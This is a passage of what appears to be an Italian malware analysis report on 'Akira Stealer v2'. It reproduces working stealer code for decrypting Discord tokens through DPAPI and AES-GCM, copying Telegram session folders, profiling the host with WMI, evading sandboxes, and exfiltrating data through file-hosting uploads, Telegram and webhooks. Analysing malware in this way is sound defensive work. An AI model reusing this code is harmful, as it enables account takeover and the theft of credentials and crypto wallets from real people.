agli attaccanti una panoramica rapida del valore del bersaglio senza dover aprire l'archivio.",[525,8433,8434],{},"Infine il malware cancella da disco la cartella temporanea e l'archivio, rimuovendo in pratica le prove forensi locali. Quando un difensore scopre l'infezione, i dati sono già andati, e spesso sono irrecuperabili.",[615,8436,8438],{"className":4513,"code":8437,"language":4515,"meta":529,"style":529},"# 1) ZIP everything (including Wallets folder)\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n# 2) Attempt upload to primary & fallback services\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n# 3) Report summary\nembed = {\n    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n    \"fields\": [\n        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n    ]\n}\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n# 4) Cleanup local folder & ZIP\nUtils.clear_client_folder()\n",[578,8439,8440,8445,8450,8455,8460,8465,8470,8475,8480,8485,8490,8495,8500,8505,8510,8514,8519,8524],{"__ignoreMap":529},[1704,8441,8442],{"class":1706,"line":1707},[1704,8443,8444],{},"# 1) ZIP everything (including Wallets folder)\n",[1704,8446,8447],{"class":1706,"line":530},[1704,8448,8449],{},"zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n",[1704,8451,8452],{"class":1706,"line":2088},[1704,8453,8454],{},"# 2) Attempt upload to primary & fallback services\n",[1704,8456,8457],{"class":1706,"line":2094},[1704,8458,8459],{},"url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1704,8461,8462],{"class":1706,"line":2415},[1704,8463,8464],{},"# 3) Report summary\n",[1704,8466,8467],{"class":1706,"line":2421},[1704,8468,8469],{},"embed = {\n",[1704,8471,8472],{"class":1706,"line":3080},[1704,8473,8474],{},"    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n",[1704,8476,8477],{"class":1706,"line":3876},[1704,8478,8479],{},"    \"fields\": [\n",[1704,8481,8482],{"class":1706,"line":3882},[1704,8483,8484],{},"        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n",[1704,8486,8487],{"class":1706,"line":4128},[1704,8488,8489],{},"        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n",[1704,8491,8492],{"class":1706,"line":5046},[1704,8493,8494],{},"        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n",[1704,8496,8497],{"class":1706,"line":5052},[1704,8498,8499],{},"        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n",[1704,8501,8502],{"class":1706,"line":5058},[1704,8503,8504],{},"        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n",[1704,8506,8507],{"class":1706,"line":5064},[1704,8508,8509],{},"    ]\n",[1704,8511,8512],{"class":1706,"line":5070},[1704,8513,2424],{},[1704,8515,8516],{"class":1706,"line":5076},[1704,8517,8518],{},"Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n",[1704,8520,8521],{"class":1706,"line":5082},[1704,8522,8523],{},"# 4) Cleanup local folder & ZIP\n",[1704,8525,8526],{"class":1706,"line":5088},[1704,8527,7708],{},[740,8529,8531,8532,1138],{"id":8530},"_79-furto-di-token-discord-e-telegram-classe-discord","7.9. Furto di token Discord e Telegram (classe: ",[578,8533,1343],{},[525,8535,746],{},[525,8537,4662,8538,8540],{},[567,8539,1343],{}," di Akira Stealer v2 esegue un processo multistadio fortemente parallelizzato per raccogliere sia i token di autorizzazione Discord sia i dati di sessione Telegram. Qui sotto analizziamo ogni componente con riferimenti precisi al codice ed esempi illustrativi.",[887,8542,8544],{"id":8543},"_791-inizializzazione-ed-enumerazione-dei-percorsi","7.9.1 Inizializzazione ed enumerazione dei percorsi",[525,8546,893],{},[525,8548,8549],{},"All'istanziazione, il costruttore costruisce due insiemi di percorsi obiettivo:",[615,8551,8553],{"className":4513,"code":8552,"language":4515,"meta":529,"style":529},"# Discord client LevelDB directories\ndiscord_paths = [\n    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n    ...\n]\n\n# Chromium-based browser LevelDB directories\nbrowserPaths = [\n    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n    ...\n]\n",[578,8554,8555,8560,8565,8570,8575,8579,8583,8587,8592,8597,8602,8607,8611],{"__ignoreMap":529},[1704,8556,8557],{"class":1706,"line":1707},[1704,8558,8559],{},"# Discord client LevelDB directories\n",[1704,8561,8562],{"class":1706,"line":530},[1704,8563,8564],{},"discord_paths = [\n",[1704,8566,8567],{"class":1706,"line":2088},[1704,8568,8569],{},"    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n",[1704,8571,8572],{"class":1706,"line":2094},[1704,8573,8574],{},"    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n",[1704,8576,8577],{"class":1706,"line":2415},[1704,8578,3863],{},[1704,8580,8581],{"class":1706,"line":2421},[1704,8582,7933],{},[1704,8584,8585],{"class":1706,"line":3080},[1704,8586,3873],{"emptyLinePlaceholder":325},[1704,8588,8589],{"class":1706,"line":3876},[1704,8590,8591],{},"# Chromium-based browser LevelDB directories\n",[1704,8593,8594],{"class":1706,"line":3882},[1704,8595,8596],{},"browserPaths = [\n",[1704,8598,8599],{"class":1706,"line":4128},[1704,8600,8601],{},"    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n",[1704,8603,8604],{"class":1706,"line":5046},[1704,8605,8606],{},"    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n",[1704,8608,8609],{"class":1706,"line":5052},[1704,8610,3863],{},[1704,8612,8613],{"class":1706,"line":5058},[1704,8614,7933],{},[630,8616,8617,8626],{},[633,8618,8619,8622,8623,613],{},[567,8620,8621],{},"I percorsi Discord"," puntano ai client Discord ufficiali e non ufficiali sotto ",[578,8624,8625],{},"%APPDATA%",[633,8627,8628,8631],{},[567,8629,8630],{},"I percorsi dei browser"," coprono le cartelle dei dati utente dei browser più diffusi, comprese le sottocartelle per local storage ed estensioni.",[525,8633,8634],{},"Per ogni voce vengono avviati dei thread:",[615,8636,8638],{"className":4513,"code":8637,"language":4515,"meta":529,"style":529},"for patt in browserPaths:\n    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n    t.start()\nfor patt in discord_paths:\n    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n    t.start()\n",[578,8639,8640,8645,8650,8655,8660,8665],{"__ignoreMap":529},[1704,8641,8642],{"class":1706,"line":1707},[1704,8643,8644],{},"for patt in browserPaths:\n",[1704,8646,8647],{"class":1706,"line":530},[1704,8648,8649],{},"    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n",[1704,8651,8652],{"class":1706,"line":2088},[1704,8653,8654],{},"    t.start()\n",[1704,8656,8657],{"class":1706,"line":2094},[1704,8658,8659],{},"for patt in discord_paths:\n",[1704,8661,8662],{"class":1706,"line":2415},[1704,8663,8664],{},"    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n",[1704,8666,8667],{"class":1706,"line":2421},[1704,8668,8654],{},[525,8670,8671],{},"Questo modello a thread massimizza il throughput di I/O, sondando decine di directory in parallelo.",[887,8673,8675],{"id":8674},"_792-logica-di-estrazione-dei-token","7.9.2 Logica di estrazione dei token",[525,8677,893],{},[525,8679,8680],{},[567,8681,8682],{},"Raccolta di token in chiaro dai browser",[525,8684,8685,8688,8689,2204,8692,1199],{},[578,8686,8687],{},"get_btoken(path, arg)"," percorre ogni cartella LevelDB ed esamina i file ",[578,8690,8691],{},".log",[578,8693,8694],{},".ldb",[615,8696,8698],{"className":4513,"code":8697,"language":4515,"meta":529,"style":529},"for file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n                tokens = re.findall(regex, line)\n                for token in tokens:\n                    self.tokens.append(token)\n                    self.cehckToken(token)\n",[578,8699,8700,8705,8710,8715,8720,8725,8730,8735],{"__ignoreMap":529},[1704,8701,8702],{"class":1706,"line":1707},[1704,8703,8704],{},"for file in os.listdir(path + arg):\n",[1704,8706,8707],{"class":1706,"line":530},[1704,8708,8709],{},"    if file.endswith((\".log\", \".ldb\")):\n",[1704,8711,8712],{"class":1706,"line":2088},[1704,8713,8714],{},"        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n",[1704,8716,8717],{"class":1706,"line":2094},[1704,8718,8719],{},"            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n",[1704,8721,8722],{"class":1706,"line":2415},[1704,8723,8724],{},"                tokens = re.findall(regex, line)\n",[1704,8726,8727],{"class":1706,"line":2421},[1704,8728,8729],{},"                for token in tokens:\n",[1704,8731,8732],{"class":1706,"line":3080},[1704,8733,8734],{},"                    self.tokens.append(token)\n",[1704,8736,8737],{"class":1706,"line":3876},[1704,8738,8739],{},"                    self.cehckToken(token)\n",[630,8741,8742,8751,8759],{},[633,8743,8744,8750],{},[567,8745,8746,8747],{},"La regex ",[578,8748,8749],{},"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}"," corrisponde ai token Discord standard.",[633,8752,8753,8758],{},[567,8754,8746,8755],{},[578,8756,8757],{},"mfa\\.[\\w-]{80,95}"," cattura i token MFA.",[633,8760,8761,8762,8765],{},"La deduplicazione è implicita: i token vengono memorizzati in ",[578,8763,8764],{},"self.tokens"," prima della validazione.",[525,8767,8768],{},[567,8769,8770],{},"Decifratura dei token cifrati nel client Discord",[525,8772,8773,8774,8776,8777,8779,8780,8783],{},"Il client di Discord cifra le voci di Local Storage con DPAPI, precedute da ",[578,8775,6521],{}," o ",[578,8778,6525],{},". ",[578,8781,8782],{},"get_discord(path, arg)"," gestisce questo caso:",[615,8785,8787],{"className":4513,"code":8786,"language":4515,"meta":529,"style":529},"# Read Local State to obtain encrypted master key\nwith open(path + \"/Local State\", 'r') as f:\n    local_state = json.load(f)\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\nmaster_key = self.CryptUnprotectData(encrypted_key)\n\n# Iterate LevelDB files for Base64 payloads\nfor file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\"):\n            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n                ciphertext = b64decode(token_part)\n                token = self.decrypt_value(ciphertext, master_key)\n                self.tokens.append(token)\n                self.cehckToken(token)\n",[578,8788,8789,8794,8799,8803,8808,8813,8817,8822,8826,8830,8835,8840,8845,8850,8855],{"__ignoreMap":529},[1704,8790,8791],{"class":1706,"line":1707},[1704,8792,8793],{},"# Read Local State to obtain encrypted master key\n",[1704,8795,8796],{"class":1706,"line":530},[1704,8797,8798],{},"with open(path + \"/Local State\", 'r') as f:\n",[1704,8800,8801],{"class":1706,"line":2088},[1704,8802,7109],{},[1704,8804,8805],{"class":1706,"line":2094},[1704,8806,8807],{},"encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\n",[1704,8809,8810],{"class":1706,"line":2415},[1704,8811,8812],{},"master_key = self.CryptUnprotectData(encrypted_key)\n",[1704,8814,8815],{"class":1706,"line":2421},[1704,8816,3873],{"emptyLinePlaceholder":325},[1704,8818,8819],{"class":1706,"line":3080},[1704,8820,8821],{},"# Iterate LevelDB files for Base64 payloads\n",[1704,8823,8824],{"class":1706,"line":3876},[1704,8825,8704],{},[1704,8827,8828],{"class":1706,"line":3882},[1704,8829,8709],{},[1704,8831,8832],{"class":1706,"line":4128},[1704,8833,8834],{},"        for line in open(f\"{path}{arg}/{file}\"):\n",[1704,8836,8837],{"class":1706,"line":5046},[1704,8838,8839],{},"            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n",[1704,8841,8842],{"class":1706,"line":5052},[1704,8843,8844],{},"                ciphertext = b64decode(token_part)\n",[1704,8846,8847],{"class":1706,"line":5058},[1704,8848,8849],{},"                token = self.decrypt_value(ciphertext, master_key)\n",[1704,8851,8852],{"class":1706,"line":5064},[1704,8853,8854],{},"                self.tokens.append(token)\n",[1704,8856,8857],{"class":1706,"line":5070},[1704,8858,8859],{},"                self.cehckToken(token)\n",[630,8861,8862,8871],{},[633,8863,8864,8867,8868,8870],{},[567,8865,8866],{},"Recupero della master key",": rimuove l'header DPAPI di 5 byte, poi chiama ",[578,8869,7175],{}," (che incapsula la DPAPI di Windows) per decifrare la chiave AES-GCM.",[633,8872,8873,8876,8877,8880,8881,8884,8885],{},[567,8874,8875],{},"Interpretazione del payload",": i token hanno il prefisso ",[578,8878,8879],{},"dQw4w9WgXcQ:"," (un marcatore scelto dall'attaccante). Dopo la decodifica Base64, ",[578,8882,8883],{},"decrypt_value()"," separa IV e testo cifrato:",[615,8886,8888],{"className":4513,"code":8887,"language":4515,"meta":529,"style":529},"def decrypt\\_value(buff, master\\_key):\niv = buff\\[3:15]\npayload = buff\\[15:]\ncipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\nreturn cipher.decrypt(payload)\\[:-16].decode()\n",[578,8889,8890,8895,8900,8905,8910],{"__ignoreMap":529},[1704,8891,8892],{"class":1706,"line":1707},[1704,8893,8894],{},"def decrypt\\_value(buff, master\\_key):\n",[1704,8896,8897],{"class":1706,"line":530},[1704,8898,8899],{},"iv = buff\\[3:15]\n",[1704,8901,8902],{"class":1706,"line":2088},[1704,8903,8904],{},"payload = buff\\[15:]\n",[1704,8906,8907],{"class":1706,"line":2094},[1704,8908,8909],{},"cipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\n",[1704,8911,8912],{"class":1706,"line":2415},[1704,8913,8914],{},"return cipher.decrypt(payload)\\[:-16].decode()\n",[887,8916,8918],{"id":8917},"_793-validazione-ed-esfiltrazione-dei-token","7.9.3 Validazione ed esfiltrazione dei token",[525,8920,893],{},[525,8922,8923],{},"Ogni token estratto viene validato con una chiamata API dal vivo:",[615,8925,8928],{"className":8926,"code":8927,"language":620},[618],"headers = {\"Authorization\": token}\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\nif resp.status_code == 200:\n    self.cehckToken(token)\n",[578,8929,8927],{"__ignoreMap":529},[630,8931,8932],{},[633,8933,8934,646,8937,8940,8941,8944,8945],{},[567,8935,8936],{},"In caso di successo",[578,8938,8939],{},"cehckToken()"," decide se inviare via Telegram (",[578,8942,8943],{},"useTg=True",") o via webhook Discord:",[615,8946,8948],{"className":4513,"code":8947,"language":4515,"meta":529,"style":529},"if useTg:\nself.sendTokenTg(token)\nelse:\nself.send\\_embed(token)\n",[578,8949,8950,8955,8960,8965],{"__ignoreMap":529},[1704,8951,8952],{"class":1706,"line":1707},[1704,8953,8954],{},"if useTg:\n",[1704,8956,8957],{"class":1706,"line":530},[1704,8958,8959],{},"self.sendTokenTg(token)\n",[1704,8961,8962],{"class":1706,"line":2088},[1704,8963,8964],{},"else:\n",[1704,8966,8967],{"class":1706,"line":2094},[1704,8968,8969],{},"self.send\\_embed(token)\n",[630,8971,8972],{},[633,8973,8974,8979],{},[567,8975,8976],{},[578,8977,8978],{},"send_embed"," costruisce un embed Discord ricco, con i metadati dell'utente (nome utente, discriminator, email, stato Nitro, dati di fatturazione), usando i campi presi da",[615,8981,8984],{"className":8982,"code":8983,"language":620},[618],"user_json = requests.get(...).json()\nusername = user_json[\"username\"]\nid = user_json[\"id\"]\n# embed fields: token, email, phone, IP, flags, Nitro, billing\n",[578,8985,8983],{"__ignoreMap":529},[630,8987,8988],{},[633,8989,8990,8995],{},[567,8991,8992],{},[578,8993,8994],{},"sendTokenTg"," invia una sintesi in testo semplice tramite l'API di Telegram.",[887,8997,8999],{"id":8998},"_794-raccolta-delle-sessioni-telegram","7.9.4 Raccolta delle sessioni Telegram",[525,9001,893],{},[525,9003,9004],{},"Oltre ai token Discord, lo stealer si impossessa delle sessioni di Telegram Desktop:",[615,9006,9008],{"className":4513,"code":9007,"language":4515,"meta":529,"style":529},"@staticmethod\ndef steal_telegram():\n    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n    Utils.TaskKill(\"telegram.exe\")\n    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[578,9009,9010,9014,9019,9024,9029],{"__ignoreMap":529},[1704,9011,9012],{"class":1706,"line":1707},[1704,9013,4998],{},[1704,9015,9016],{"class":1706,"line":530},[1704,9017,9018],{},"def steal_telegram():\n",[1704,9020,9021],{"class":1706,"line":2088},[1704,9022,9023],{},"    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n",[1704,9025,9026],{"class":1706,"line":2094},[1704,9027,9028],{},"    Utils.TaskKill(\"telegram.exe\")\n",[1704,9030,9031],{"class":1706,"line":2415},[1704,9032,9033],{},"    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[630,9035,9036,9042,9051],{},[633,9037,9038,9041],{},[567,9039,9040],{},"Terminazione dei processi",": garantisce il rilascio dei lock sui file.",[633,9043,9044,9047,9048,9050],{},[567,9045,9046],{},"Copia ricorsiva",": sottrae la cartella ",[578,9049,8286],{},", comprese sessioni utente, contatti e messaggi in cache.",[633,9052,9053,9055,9056,9059],{},[567,9054,1359],{},": la cartella rubata viene compressa in ZIP e caricata tramite ",[578,9057,9058],{},"sendFilesTG()",", con il link di download incluso in un messaggio Telegram.",[525,9061,6137,9062,9064],{},[578,9063,1343],{}," di Akira Stealer combina raccolta basata su regex, decifratura AES-GCM appoggiata a DPAPI, validazione dal vivo tramite API ed esfiltrazione su più protocolli (webhook più Telegram) per offrire una capacità di takeover degli account immediata su entrambe le piattaforme, Discord e Telegram.",[740,9066,9068],{"id":9067},"_710-profilazione-del-sistema","7.10 Profilazione del sistema",[525,9070,746],{},[525,9072,9073,9074,9077],{},"Akira Stealer v2 integra un'ampia fase di profilazione del sistema per raccogliere metadati dell'host, attributi dell'ambiente e dettagli di rete. Queste informazioni vengono riunite nella classe ",[578,9075,9076],{},"Data"," e poi impacchettate insieme alle credenziali esfiltrate. Qui sotto scomponiamo la logica di profilazione con riferimenti diretti al codice.",[887,9079,9081,9082],{"id":9080},"_7101-inizializzazione-della-classe-data","7.10.1 Inizializzazione della classe ",[578,9083,9076],{},[525,9085,893],{},[525,9087,9088,9089,1199],{},"All'avvio viene creata un'istanza di ",[578,9090,9076],{},[615,9092,9094],{"className":4513,"code":9093,"language":4515,"meta":529,"style":529},"class Data:\n    def __init__(self):\n        self.username = os.getlogin()\n        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n        ...\n        self.ip = requests.get(url=\"https://api.ipify.org\").text\n        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n        self.country = ipdata.get(\"country\")\n        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[578,9095,9096,9101,9106,9111,9116,9121,9126,9131,9136,9141],{"__ignoreMap":529},[1704,9097,9098],{"class":1706,"line":1707},[1704,9099,9100],{},"class Data:\n",[1704,9102,9103],{"class":1706,"line":530},[1704,9104,9105],{},"    def __init__(self):\n",[1704,9107,9108],{"class":1706,"line":2088},[1704,9109,9110],{},"        self.username = os.getlogin()\n",[1704,9112,9113],{"class":1706,"line":2094},[1704,9114,9115],{},"        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n",[1704,9117,9118],{"class":1706,"line":2415},[1704,9119,9120],{},"        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n",[1704,9122,9123],{"class":1706,"line":2421},[1704,9124,9125],{},"        ...\n",[1704,9127,9128],{"class":1706,"line":3080},[1704,9129,9130],{},"        self.ip = requests.get(url=\"https://api.ipify.org\").text\n",[1704,9132,9133],{"class":1706,"line":3876},[1704,9134,9135],{},"        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n",[1704,9137,9138],{"class":1706,"line":3882},[1704,9139,9140],{},"        self.country = ipdata.get(\"country\")\n",[1704,9142,9143],{"class":1706,"line":4128},[1704,9144,9145],{},"        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[630,9147,9148,9161],{},[633,9149,9150,9153,9154,9157,9158,613],{},[567,9151,9152],{},"Nome utente e hostname:"," recuperati tramite ",[578,9155,9156],{},"os.getlogin()"," e la variabile d'ambiente ",[578,9159,9160],{},"COMPUTERNAME",[633,9162,9163,9166,9167,9170,9171,9173],{},[567,9164,9165],{},"Indirizzo IP:"," prelevato con ",[578,9168,9169],{},"requests.get(\"https://api.ipify.org\")"," e poi geolocalizzato tramite ",[578,9172,5344],{}," per ottenere paese e codice ISO.",[887,9175,9177],{"id":9176},"_7102-enumerazione-di-sistema-operativo-e-hardware","7.10.2 Enumerazione di sistema operativo e hardware",[525,9179,893],{},[525,9181,9182],{},"Tramite i comandi Windows Management Instrumentation (WMI):",[615,9184,9186],{"className":4513,"code":9185,"language":4515,"meta":529,"style":529},"# Operating System\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n# Total Physical Memory\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n# BIOS UUID\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\n# CPU Identifier\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n# GPU Name\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n# Windows Product Key\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[578,9187,9188,9193,9198,9203,9208,9213,9218,9223,9228,9233,9238,9243],{"__ignoreMap":529},[1704,9189,9190],{"class":1706,"line":1707},[1704,9191,9192],{},"# Operating System\n",[1704,9194,9195],{"class":1706,"line":530},[1704,9196,9197],{},"self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n",[1704,9199,9200],{"class":1706,"line":2088},[1704,9201,9202],{},"# Total Physical Memory\n",[1704,9204,9205],{"class":1706,"line":2094},[1704,9206,9207],{},"self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n",[1704,9209,9210],{"class":1706,"line":2415},[1704,9211,9212],{},"# BIOS UUID\n",[1704,9214,9215],{"class":1706,"line":2421},[1704,9216,9217],{},"self.uuid = subprocess.run('wmic csproduct get uuid', ...)\n",[1704,9219,9220],{"class":1706,"line":3080},[1704,9221,9222],{},"# CPU Identifier\n",[1704,9224,9225],{"class":1706,"line":3876},[1704,9226,9227],{},"self.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n",[1704,9229,9230],{"class":1706,"line":3882},[1704,9231,9232],{},"# GPU Name\n",[1704,9234,9235],{"class":1706,"line":4128},[1704,9236,9237],{},"self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n",[1704,9239,9240],{"class":1706,"line":5046},[1704,9241,9242],{},"# Windows Product Key\n",[1704,9244,9245],{"class":1706,"line":5052},[1704,9246,9247],{},"self.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[525,9249,9250,9251,9254],{},"I risultati vengono convertiti in stringhe leggibili (",[578,9252,9253],{},"strip()",", operazioni di indicizzazione) e concatenati in:",[615,9256,9258],{"className":4513,"code":9257,"language":4515,"meta":529,"style":529},"self.system_info = (\n    f\"Computer Name: {self.computerName}\\n\"\n    f\"Total Memory: {self.totalMemory}\\n\"\n    f\"CPU: {self.cpu}\\n\"\n    f\"GPU: {self.gpu}\\n\"\n    f\"Product Key: {self.productKey}\"\n)\n",[578,9259,9260,9265,9270,9275,9280,9285,9290],{"__ignoreMap":529},[1704,9261,9262],{"class":1706,"line":1707},[1704,9263,9264],{},"self.system_info = (\n",[1704,9266,9267],{"class":1706,"line":530},[1704,9268,9269],{},"    f\"Computer Name: {self.computerName}\\n\"\n",[1704,9271,9272],{"class":1706,"line":2088},[1704,9273,9274],{},"    f\"Total Memory: {self.totalMemory}\\n\"\n",[1704,9276,9277],{"class":1706,"line":2094},[1704,9278,9279],{},"    f\"CPU: {self.cpu}\\n\"\n",[1704,9281,9282],{"class":1706,"line":2415},[1704,9283,9284],{},"    f\"GPU: {self.gpu}\\n\"\n",[1704,9286,9287],{"class":1706,"line":2421},[1704,9288,9289],{},"    f\"Product Key: {self.productKey}\"\n",[1704,9291,9292],{"class":1706,"line":3080},[1704,9293,5265],{},[887,9295,9297],{"id":9296},"_7103-rilevamento-delle-vm-e-controlli-anti-sandbox","7.10.3 Rilevamento delle VM e controlli anti sandbox",[525,9299,893],{},[525,9301,9302,9303,9305],{},"Prima della profilazione approfondita, il malware invoca ",[578,9304,4685],{}," per individuare ambienti di virtualizzazione o di analisi:",[615,9307,9309],{"className":4513,"code":9308,"language":4515,"meta":529,"style":529},"if VmProtect.isVM(1):\n    sys.exit()\n",[578,9310,9311,9316],{"__ignoreMap":529},[1704,9312,9313],{"class":1706,"line":1707},[1704,9314,9315],{},"if VmProtect.isVM(1):\n",[1704,9317,9318],{"class":1706,"line":530},[1704,9319,9320],{},"    sys.exit()\n",[525,9322,9323],{},"Tra i controlli principali:",[630,9325,9326,9332,9338,9344],{},[633,9327,9328,9331],{},[567,9329,9330],{},"Chiavi di registro e descrittori dei driver",": interroga le voci di registro legate alla virtualizzazione.",[633,9333,9334,9337],{},[567,9335,9336],{},"UUID e nomi computer in blacklist",": confronta con impronte di VM note.",[633,9339,9340,9343],{},[567,9341,9342],{},"Simulazione HTTP",": tenta di connettersi a un dominio inesistente tramite HTTPS.",[633,9345,9346,9349,9350,646,9353,646,9356,613],{},[567,9347,9348],{},"Blacklist di processi",": avvia un thread in background per terminare strumenti come ",[578,9351,9352],{},"wireshark",[578,9354,9355],{},"ollydbg",[578,9357,9358],{},"ida64",[887,9360,9362],{"id":9361},"_7104-confezionamento-e-trasmissione","7.10.4 Confezionamento e trasmissione",[525,9364,893],{},[525,9366,9367,9368,9371],{},"Le informazioni raccolte in ",[578,9369,9370],{},"system_info",", l'IP e la bandiera del paese vengono incorporate negli header del payload del webhook:",[615,9373,9375],{"className":4513,"code":9374,"language":4515,"meta":529,"style":529},"webhook_payload = {\n    \"embeds\": [{\n        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n        \"fields\": [...]\n    }]\n}\nrequests.post(self.webhook_url, json=webhook_payload)\n",[578,9376,9377,9382,9387,9392,9397,9402,9407,9411],{"__ignoreMap":529},[1704,9378,9379],{"class":1706,"line":1707},[1704,9380,9381],{},"webhook_payload = {\n",[1704,9383,9384],{"class":1706,"line":530},[1704,9385,9386],{},"    \"embeds\": [{\n",[1704,9388,9389],{"class":1706,"line":2088},[1704,9390,9391],{},"        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n",[1704,9393,9394],{"class":1706,"line":2094},[1704,9395,9396],{},"        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n",[1704,9398,9399],{"class":1706,"line":2415},[1704,9400,9401],{},"        \"fields\": [...]\n",[1704,9403,9404],{"class":1706,"line":2421},[1704,9405,9406],{},"    }]\n",[1704,9408,9409],{"class":1706,"line":3080},[1704,9410,2424],{},[1704,9412,9413],{"class":1706,"line":3876},[1704,9414,9415],{},"requests.post(self.webhook_url, json=webhook_payload)\n",[630,9417,9418,9424],{},[633,9419,9420,9423],{},[567,9421,9422],{},"Emoji della bandiera",": derivata dal codice paese ISO.",[633,9425,9426,9429],{},[567,9427,9428],{},"Campi",": includono i conteggi di password rubate, cookie e altro, ma le informazioni di sistema stanno nella descrizione dell'embed per dare contesto immediato.",[525,9431,9432,9435],{},[567,9433,9434],{},"Sintesi:","\nLa profilazione del sistema in Akira Stealer v2 raccoglie dati completi su host e rete tramite comandi WMI, variabili d'ambiente e geolocalizzazione dell'IP. Unita al rilevamento delle VM e alle routine di terminazione degli strumenti, garantisce all'attaccante un'istantanea completa dell'ambiente compromesso, il che rende più efficaci le azioni di follow-up mirate e filtra le sandbox di analisi.",[740,9437,9439,9440,1138],{"id":9438},"_711-file-grabber-classe-utilssteal_files","7.11 File grabber (classe: ",[578,9441,9442],{},"Utils.steal_files",[525,9444,746],{},[525,9446,9447],{},"Oltre ai dati del browser e ai token, Akira cerca di estrarre anche contenuti di valore generati dall'utente, come documenti, fogli di 